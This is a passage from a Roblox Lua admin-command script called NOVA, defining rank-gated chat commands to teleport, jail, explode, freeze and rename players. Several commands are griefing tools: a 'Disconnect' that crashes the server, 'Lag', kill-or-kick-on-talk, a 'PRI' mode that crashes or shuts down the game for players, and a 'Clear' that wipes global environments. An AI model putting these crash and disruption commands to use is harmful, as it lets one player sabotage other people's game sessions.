  2414. if v.Rank == i then
  2415. Output(v.Name,Data.Color,Speaker,nil,function()
  2416. RemoveTablets(Speaker)
  2417. Output("Name : "..v.Name,Data.Color,Speaker)
  2418. Output("Rank : "..v.Rank,Data.Color,Speaker)
  2419. Output("Command : "..v.Command,Data.Color,Speaker)
  2420. Output("Arguments : "..v.Args,Data.Color,Speaker)
  2421. Output("Description : "..v.Description,Data.Color,Speaker)
  2422. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2423. end)
  2424. end
  2425. end
  2426. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2427. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2428. end)
  2429. end
  2430. Output("ALL",Data.Color,Speaker,nil,function()
  2431. RemoveTablets(Speaker)
  2432. for _,v in pairs(NOVA.Commands) do
  2433. if GetRank(Speaker) >= v.Rank then
  2434. Output(v.Name,Data.Color,Speaker,nil,function()
  2435. RemoveTablets(Speaker)
  2436. Output("Name : "..v.Name,Data.Color,Speaker)
  2437. Output("Rank : "..v.Rank,Data.Color,Speaker)
  2438. Output("Command : "..v.Command,Data.Color,Speaker)
  2439. Output("Arguments : "..v.Args,Data.Color,Speaker)
  2440. Output("Description : "..v.Description,Data.Color,Speaker)
  2441. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2442. end)
  2443. end
  2444. end
  2445. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2446. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2447. end)
  2448. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2449. end
  2450. )
  2451.  
  2452. AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
  2453. function(Msg,Speaker)
  2454. Instance.new("ManualSurfaceJointInstance",workspace)
  2455. end
  2456. )
  2457.  
  2458. AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
  2459. function(Msg,Speaker)
  2460. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2461. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2462. Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2463. else
  2464. pcall(function()
  2465. Lag(v)
  2466. end)
  2467. end
  2468. end
  2469. end
  2470. )
  2471.  
  2472.  
  2473. AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
  2474. function(Msg,Speaker)
  2475. RemoveTablets(Speaker)
  2476. Output("List","Random",Speaker,nil,
  2477. function()
  2478. RemoveTablets(Speaker)
  2479. for _,v in pairs(NOVA.Ranked) do
  2480. if v.InPRI == true then
  2481. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
  2482. RemoveTablets(Speaker)
  2483. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2484. end)
  2485. end
  2486. end
  2487. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2488. end
  2489. )
  2490.  
  2491. Output("Type","Random",Speaker,nil,
  2492. function()
  2493. RemoveTablets(Speaker)
  2494. Output("Kick",NOVA.Colors.Orange,Speaker,nil,
  2495. function()
  2496. NOVA.PRIType = "Kick"
  2497. RemoveTablets(Speaker)
  2498. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2499. end
  2500. )
  2501. Output("Lag",NOVA.Colors.Red,Speaker,nil,
  2502. function()
  2503. NOVA.PRIType = "Lag"
  2504. RemoveTablets(Speaker)
  2505. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2506. end
  2507. )
  2508. Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
  2509. function()
  2510. NOVA.PRIType = "Shutdown"
  2511. RemoveTablets(Speaker)
  2512. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2513. end
  2514. )
  2515. Output("Crash",NOVA.Colors.Orange,Speaker,nil,
  2516. function()
  2517. NOVA.PRIType = "Crash"
  2518. RemoveTablets(Speaker)
  2519. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2520. end
  2521. )
  2522. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2523. end
  2524. )
  2525. Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
  2526. function()
  2527. NOVA.PRI = true
  2528. RemoveTablets(Speaker)
  2529. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2530. end
  2531. )
  2532.  
  2533. Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
  2534. function()
  2535. NOVA.PRI = false
  2536. RemoveTablets(Speaker)
  2537. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2538. end
  2539. )
  2540.  
  2541. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2542. end
  2543. )
  2544.  
  2545. --[[ GET COMMANDS ]]--
  2546.  
  2547. AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
  2548. function(Msg,Speaker)
  2549. if #Msg == 0 or Msg == nil then
  2550. RemoveTablets(Speaker)
  2551. for _,v in pairs(NOVA.Ranks) do
  2552. local RankNumber = v[1]
  2553. local RankName = v[2]
  2554. Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil,
  2555. function()
  2556. RemoveTablets(Speaker)
  2557. for _,v in pairs(GetPlayersRaw()) do
  2558. if GetRank(v) == RankNumber then
  2559. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
  2560. function()
  2561. PlayerInterface(v,Speaker)
  2562. end
  2563. )
  2564. end
  2565. end
  2566. Output("Done",NOVA.Colors.Blue,Speaker,nil,
  2567. function()
  2568. OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  2569. end
  2570. )
  2571. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2572. end
  2573. )
  2574. end
  2575. Output("ALL",NOVA.Colors.Blue,Speaker,nil,
  2576. function()
  2577. RemoveTablets(Speaker)
  2578.  
  2579. for _,v in pairs(GetPlayersRaw()) do
  2580. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
  2581. function()
  2582. PlayerInterface(v,Speaker)
  2583. end
  2584. )
  2585. end
  2586.  
  2587. Output("Done",NOVA.Colors.Blue,Speaker,nil,
  2588. function()
  2589. OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  2590. end
  2591. )
  2592. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2593. end
  2594. )
  2595. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2596. else
  2597. PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker)
  2598. end
  2599. end
  2600. )
  2601.  
  2602. AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>",
  2603. function(Msg,Speaker)
  2604. Split = GetSplit(Msg)
  2605. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2606. GetRankedTable(v).Desc = Msg:sub(Split+1)
  2607. SyncRankOutSingular(v)
  2608. end
  2609. end
  2610. )
  2611.  
  2612. AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
  2613. function(Msg,Speaker)
  2614. if Msg == "true" then
  2615. GetRankedTable(Speaker).CMD = true
  2616. elseif Msg == "false" then
  2617. GetRankedTable(Speaker).CMD = false
  2618. pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
  2619. else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
  2620. end
  2621. SyncRankOutSingular(Speaker)
  2622. end
  2623. )
  2624.  
  2625. AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
  2626. function(Msg,Speaker)
  2627. pcall(function()
  2628. for i=1,4 do
  2629. Instance.new("HopperBin",Speaker.Backpack).BinType = i
  2630. end
  2631. end)
  2632. end
  2633. )
  2634.  
  2635. AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
  2636. function(Msg,Speaker)
  2637. pcall(function()
  2638. Speaker:LoadCharacter()
  2639. end)
  2640. end
  2641. )
  2642.  
  2643. AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments",
  2644. function(Msg,Speaker)
  2645. Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
  2646. end
  2647. )
  2648.  
  2649. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  2650. function(Msg,Speaker)
  2651. pcall(function()
  2652. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2653. for i=1,4 do
  2654. Instance.new("HopperBin",Speaker.Backpack).BinType = i
  2655. end
  2656. end
  2657. end)
  2658. end
  2659. )
  2660.  
  2661. AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>",
  2662. function(Msg,Speaker)
  2663. local Split = GetSplit(Msg)
  2664. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2665. if GetRank(Speaker) > GetRank(v) then
  2666. if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then
  2667. Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5)
  2668. else
  2669. GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1))
  2670. SyncRankOutSingular(v)
  2671. end
  2672. end
  2673. end
  2674. end
  2675. )
  2676.  
  2677. AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
  2678. function(Msg,Speaker)
  2679.  
  2680. Split = GetSplit(Msg)
  2681. send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  2682. to = GetPlayers(string.sub(Msg,Split+1),Speaker)
  2683. for _,a in pairs(send) do
  2684. for _,b in pairs(to) do
  2685. pcall(function()
  2686. a.Character.Torso.CFrame = b.Character.Torso.CFrame
  2687. end)
  2688. end
  2689. end
  2690.  
  2691. end
  2692. )
  2693.  
  2694. AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
  2695. function(Msg,Speaker)
  2696.  
  2697. Split = GetSplit(Msg)
  2698. send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  2699. to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
  2700. for i, player in pairs(send) do
  2701. pcall(function()
  2702. player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position)
  2703. * CFrame.Angles(0, math.rad(i * 360 / #send), 0)
  2704. * CFrame.new(0, 0, 3 + (#send*2) )
  2705. end)
  2706. end
  2707. end
  2708. )
  2709.  
  2710. AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
  2711. function(Msg,Speaker)
  2712. Split = GetSplit(Msg)
  2713. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2714. pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
  2715. end
  2716. end
  2717. )
  2718.  
  2719. AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
  2720. function(Msg,Speaker)
  2721. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2722. pcall(function()
  2723. v.Character:BreakJoints()
  2724. E = Instance.new("Explosion",NOVA.Services.Workspace)
  2725. E.Position = v.Character.Torso.Position
  2726. E.BlastPressure = 124000
  2727. end)
  2728. end
  2729. end
  2730. )
  2731.  
  2732. AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
  2733. function(Msg,Speaker)
  2734. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2735. pcall(function()
  2736. v.Character.Humanoid.MaxHealth = math.huge
  2737. end)
  2738. end
  2739. end
  2740. )
  2741.  
  2742. AddCommand("God","god",2,"makes the selected player god.","<Player>",
  2743. function(Msg,Speaker)
  2744. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2745. pcall(function()
  2746. v.Character.Torso.Touched:connect(function(part)
  2747. if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
  2748. part.CanCollide = true
  2749. part:BreakJoints()
  2750. for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end
  2751. end
  2752. end)
  2753. end)
  2754. end
  2755. end
  2756. )
  2757.  
  2758. AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
  2759. function(Msg,Speaker)
  2760. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2761. pcall(function()
  2762. v.Character.Parent = NOVA.Services.Lighting
  2763. end)
  2764. end
  2765. end
  2766. )
  2767.  
  2768. AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
  2769. function(Msg,Speaker)
  2770. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2771. pcall(function()
  2772. v.Character.Parent = NOVA.Services.Workspace
  2773. v.Character:MakeJoints()
  2774. pcall(function() v.Character.Animate.Disabled = false end)
  2775. end)
  2776. end
  2777. end
  2778. )
  2779.  
  2780. AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
  2781. function(Msg,Speaker)
  2782. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2783. pcall(function()
  2784. for _,part in pairs(v.Character:GetChildren()) do
  2785. pcall(function()
  2786. part.Anchored = true
  2787. end)
  2788. end
  2789. end)
  2790. end
  2791. end
  2792. )
  2793.  
  2794. AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
  2795. function(Msg,Speaker)
  2796. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2797. pcall(function()
  2798. for _,part in pairs(v.Character:GetChildren()) do
  2799. pcall(function()
  2800. part.Anchored = false
  2801. end)
  2802. end
  2803. end)
  2804. end
  2805. end
  2806. )
  2807.  
  2808. AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
  2809. function(Msg,Speaker)
  2810. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2811. pcall(function()
  2812. for _,part in pairs(v.Backpack:GetChildren()) do
  2813. part:Destroy()
  2814. end
  2815. end)
  2816. end
  2817. end
  2818. )
  2819.  
  2820. AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
  2821. function(Msg,Speaker)
  2822. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2823. pcall(function()
  2824. v.Backpack:Destroy()
  2825. end)
  2826. end
  2827. end
  2828. )
  2829.  
  2830. AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
  2831. function(Msg,Speaker)
  2832. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2833. pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2834. pcall(function() v.Character.Humanoid.Sit = true end)
  2835. end
  2836. end
  2837. )
  2838.  
  2839. AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
  2840. function(Msg,Speaker)
  2841. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2842. pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2843. pcall(function() v.Character.Humanoid.Sit = false end)
  2844. end
  2845. end
  2846. )
  2847.  
  2848. AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
  2849. function(Msg,Speaker)
  2850. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2851. pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2852. pcall(function() v.Character.Humanoid.Jump = true end)
  2853. end
  2854. end
  2855. )
  2856.  
  2857. AddCommand("Control","control",2,"Controls the selected player","<Player>",
  2858. function(Msg,Speaker)
  2859. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2860. pcall(function()
  2861. Speaker.Character = v.Character
  2862. end)
  2863. end
  2864. end
  2865. )
  2866.  
  2867. AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
  2868. function(Msg,Speaker)
  2869. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2870. pcall(function()
  2871. for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  2872. coroutine.resume(coroutine.create(function()
  2873. for i=1,10 do
  2874. wait()
  2875. v.Transparency = v.Transparency + 0.1
  2876. end
  2877. end))
  2878. end
  2879. end)
  2880. end
  2881. end
  2882. )
  2883.  
  2884. AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
  2885. function(Msg,Speaker)
  2886. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2887. pcall(function()
  2888. for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  2889. coroutine.resume(coroutine.create(function()
  2890. for i=1,10 do
  2891. wait()
  2892. v.Transparency = v.Transparency - 0.1
  2893. end
  2894. end))
  2895. end
  2896. end)
  2897. end
  2898. end
  2899. )
  2900.  
  2901. AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
  2902. function(Msg,Speaker)
  2903. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2904. pcall(function()
  2905. for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
  2906. end)
  2907. end
  2908. end
  2909. )
  2910.  
  2911. AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
  2912. function(Msg,Speaker)
  2913. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2914. pcall(function()
  2915. for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
  2916. end)
  2917. end
  2918. end
  2919. )
  2920.  
  2921. AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
  2922. function(Msg,Speaker)
  2923. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2924. pcall(function()
  2925. coroutine.resume(coroutine.create(function()
  2926. local MainCF = v.Character.Torso.CFrame
  2927. local Main = Instance.new("Model",workspace)
  2928. Main.Name = "Main"
  2929. table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker})
  2930. for Pitch = 1, 360, 360 do
  2931. for Yaw = 1, 360, 360/13 do
  2932. for Angle = 1,180, 8 do
  2933. local Part = Instance.new("Part",Main)
  2934. Part.Name = "Part"
  2935. Part.FormFactor = "Custom"
  2936. Part.TopSurface = "Smooth"
  2937. Part.BottomSurface = "Smooth"
  2938. Part.Reflectance = 0
  2939. Part.Transparency = 0
  2940. Part.Anchored = true
  2941. Part.Locked = true
  2942. Part.CanCollide = true
  2943. Part.BrickColor = BrickColor.new("Navy blue")
  2944. Part.Size = Vector3.new(2,1,4)
  2945. Part.CFrame = MainCF
  2946. * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
  2947. * CFrame.new(0,5,0)
  2948. local Mesh = Instance.new("BlockMesh",Part)
  2949. Mesh.Scale = Vector3.new(1,1,0.1)
  2950. if math.floor(Angle/5) == Angle/5 then
  2951. wait()
  2952. end
  2953. end
  2954. end
  2955. end
  2956.  
  2957. v.Character.Torso.CFrame = MainCF
  2958.  
  2959. while Main.Parent ~= nil do
  2960. wait()
  2961. pcall(function()
  2962. if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
  2963. v.Character.Torso.CFrame = MainCF
  2964. end
  2965. end)
  2966. end
  2967. end))
  2968. end)
  2969. end
  2970. end
  2971. )
  2972.  
  2973. AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>",
  2974. function(Msg,Speaker)
  2975. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2976. for Num,Jail in pairs(NOVA.Jails) do
  2977. if Jail.Player ~= nil and Jail.Player == v then
  2978. pcall(function() Jail.Jail:Destroy() end)
  2979. table.remove(NOVA.Jails,Num)
  2980. end
  2981. end
  2982. end
  2983. end
  2984. )
  2985.  
  2986. AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments",
  2987. function(Msg,Speaker)
  2988. for i,v in pairs(_G) do
  2989. if type(v) == "function" and getfenv(v).NOVA == nil then
  2990. for var,val in pairs(getfenv(v)) do
  2991. pcall(function() getfenv(v)[var] = nil end)
  2992. end
  2993. end
  2994. end
  2995. for i,v in pairs(_G) do
  2996. _G[i] = nil
  2997. end
  2998. SetGlobals()
  2999. for _,v in pairs(NOVA.Services) do
  3000. v.Name = "Unknown Exception"
  3001. end
  3002. for i,v in pairs(GetRecursiveChildren()) do
  3003. pcall(function()
  3004. if not v:IsA("Player") then
  3005. pcall(function()
  3006. if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
  3007. else
  3008. pcall(function()
  3009. v.Disabled = true
  3010. end)
  3011. pcall(function()
  3012. NOVA.Services.Debris:AddItem(v,0)
  3013. end)
  3014. end
  3015. end)
  3016. end
  3017. end)
  3018. end
  3019. for _,v in pairs(NOVA.Services) do
  3020. v.Name = v.className
  3021. end
  3022. local Base=Instance.new("Part",NOVA.Services.Workspace)
  3023. Base.Name="Base"
  3024. Base.Size=Vector3.new(2048,1,2048)
  3025. Base.BrickColor=BrickColor.new("Bright green")
  3026. Base.Anchored=true
  3027. Base.Locked=true
  3028. Base.TopSurface="Smooth"
  3029. Base.Transparency = 1
  3030. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  3031. local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  3032. Spawn.Size=Vector3.new(6,1,6)
  3033. Spawn.Transparency=1
  3034. Spawn.CanCollide=false
  3035. Spawn.Anchored=true
  3036. Spawn.Locked=true
  3037. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  3038. for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end
  3039. end
  3040. )
  3041.  
  3042. AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
  3043. function (Msg,Speaker)
  3044. Split = GetSplit(Msg)
  3045. for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
  3046. pcall(function()
  3047. Team = nil
  3048. for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
  3049. if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
  3050. Team = find
  3051. end
  3052. end
  3053. v.TeamColor = Team.TeamColor
  3054. end)
  3055. end
  3056. end
  3057. )
  3058.  
  3059. AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
  3060. function(Msg,Speaker)
  3061. RemoveTablets(Speaker)
  3062. for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
  3063. if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
  3064. v:Remove()
  3065. end
  3066. end
  3067. end
  3068. )
  3069.  
  3070. AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
  3071. function(Msg,Speaker)
  3072. Split = GetSplit(Msg)
  3073. Team = Instance.new("Team",NOVA.Services.Teams)
  3074. Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
  3075. Team.Name = Msg:sub(1,Split-1)
  3076. Team.AutoAssignable = false
  3077. Team.Neutral = false
  3078. end
  3079. )
  3080.  
  3081. AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
  3082. function(Msg,Speaker)
  3083. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3084. v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
  3085. end
  3086. end
  3087. )
  3088.  
  3089. AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>",
  3090. function(Msg,Speaker)
  3091. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3092.  
  3093. local ride = Instance.new("VehicleSeat", Workspace)
  3094. ride.Position = v.Character.Torso.Position
  3095. ride.HeadsUpDisplay = false
  3096. ride.Size = Vector3.new(3,3,3)
  3097. local bg = Instance.new("BodyGyro", ride)
  3098. bg.maxTorque = Vector3.new(1e10,1e10,1e10)
  3099. local bp = Instance.new("BodyPosition", ride)
  3100. bp.position = v.Character.Torso.Position
  3101. bp.maxForce = Vector3.new(1e10,1e10,1e10)
  3102. Mesh = Instance.new("SpecialMesh")
  3103. Mesh.Parent = ride
  3104. Mesh.MeshType = Enum.MeshType.Sphere
  3105. ride.Transparency = 0.40000000596046
  3106.  
  3107. while wait() do
  3108. bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0)
  3109. bp.position = bp.position + bg.cframe.lookVector*ride.Throttle
  3110. end
  3111.  
  3112. end
  3113. end
  3114. )
  3115.  
  3116.  
  3117.  
  3118. AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
  3119. function(Msg,Speaker)
  3120. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3121. v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
  3122. end
  3123. end
  3124. )
  3125.  
  3126. AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
  3127. function(Msg,Speaker)
  3128. for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  3129. if Prometheus ~= nil then
  3130. if v ~= Prometheus.script("lushmylife") then
  3131. pcall(function()
  3132. v:Destroy()
  3133. end)
  3134. end
  3135. else
  3136. pcall(function()
  3137. v:Destroy()
  3138. end)
  3139. end
  3140. end
  3141.  
  3142. local Base=Instance.new("Part",NOVA.Services.Workspace)
  3143. Base.Name="Base"
  3144. Base.Size=Vector3.new(2048,1,2048)
  3145. Base.BrickColor=BrickColor.new("Dark green")
  3146. Base.Anchored=true
  3147. Base.Locked=true
  3148. Base.TopSurface="Studs"
  3149. Base.Transparency = 0
  3150. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  3151. local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  3152. Spawn.Size=Vector3.new(6,1,6)
  3153. Spawn.Transparency=1
  3154. Spawn.CanCollide=false
  3155. Spawn.Anchored=true
  3156. Spawn.Locked=true
  3157. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  3158. for _,v in pairs(GetPlayersRaw()) do
  3159. v:LoadCharacter()
  3160. end
  3161.  
  3162. end
  3163. )
  3164.  
  3165. AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
  3166. function(Msg,Speaker)
  3167. RemoveTablets(Speaker)
  3168. Explore(game,Speaker)
  3169. end
  3170. )
  3171.  
  3172. AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
  3173. function(Msg,Speaker)
  3174. if NOVA.LockedScripts == true then
  3175. NOVA.LockedScripts = false
  3176. elseif NOVA.LockedScripts == false then
  3177. NOVA.LockedScripts = true
  3178. end
  3179.  
  3180. end
  3181. )
  3182.  
  3183. AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
  3184. function(Msg,Speaker)
  3185. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3186. for i=1,25 do
  3187. coroutine.resume(coroutine.create(function()
  3188. wait()
  3189. local Part = Instance.new("Part",NOVA.Services.Workspace)
  3190. Part.FormFactor = "Custom"
  3191. Part.Transparency = 1
  3192. Part.CanCollide = false
  3193. Part.Anchored = false
  3194. Part.Locked = true
  3195. Part.Size = Vector3.new(1,1,1)
  3196. Part.CFrame = v.Character.Head.CFrame
  3197. Part:BreakJoints()
  3198.  
  3199. local BBG = Instance.new("BillboardGui",Part)
  3200. BBG.Adornee = Part
  3201. BBG.Size = UDim2.new(3,0,1,0)
  3202. --BBG.StudsOffset = Vector3.new(0, 0, 1)
  3203.  
  3204. local Img = Instance.new("ImageLabel",BBG)
  3205. Img.Size = UDim2.new(1,0,1,0)
  3206. Img.BackgroundTransparency = 1
  3207. Img.Image = "http://www.roblox.com/asset/?id=45120559"
  3208.  
  3209. local BP = Instance.new("BodyPosition",Part)
  3210. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  3211. --BP.D = 2000
  3212. BP.P = 1000
  3213. BP.position = Part.Position + Vector3.new(
  3214. math.random(-7,7),
  3215. math.random(-7,7),
  3216. math.random(-7,7))
  3217.  
  3218. for v = 3,0,-0.1 do
  3219. wait(0.1)
  3220. BBG.Size = UDim2.new(v,0,v,0)
  3221. end
  3222. Part:Remove()
  3223. end))
  3224. end
  3225. end
  3226. end
  3227. )
  3228.  
  3229. AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
  3230. function(Msg,Speaker)
  3231. NOVA.Canceled = true
  3232. end
  3233. )
  3234.  
  3235. AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
  3236. function(Msg,Speaker)
  3237. Split = GetSplit(Msg)
  3238. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3239. pcall(function()
  3240. local OldHead = v.Character.Head
  3241. local Model = Instance.new("Model",v.Character.Head)
  3242. Model.Name = Msg:sub(Split+1)
  3243. local Head = OldHead:Clone()
  3244. Head.Parent = Model
  3245. Head.Transparency = 0
  3246. Head.Name = "Head"
  3247. Head.CanCollide = false
  3248. local Hum = Instance.new("Humanoid",Model)
  3249. Hum.MaxHealth = 0
  3250. local Weld = Instance.new("Weld",Head)
  3251. Weld.Part0 = Head
  3252. Weld.Part1 = OldHead
  3253. Weld.C0 = CFrame.new(0,0,0)
  3254. OldHead.Transparency = 1
  3255. end)
  3256. end
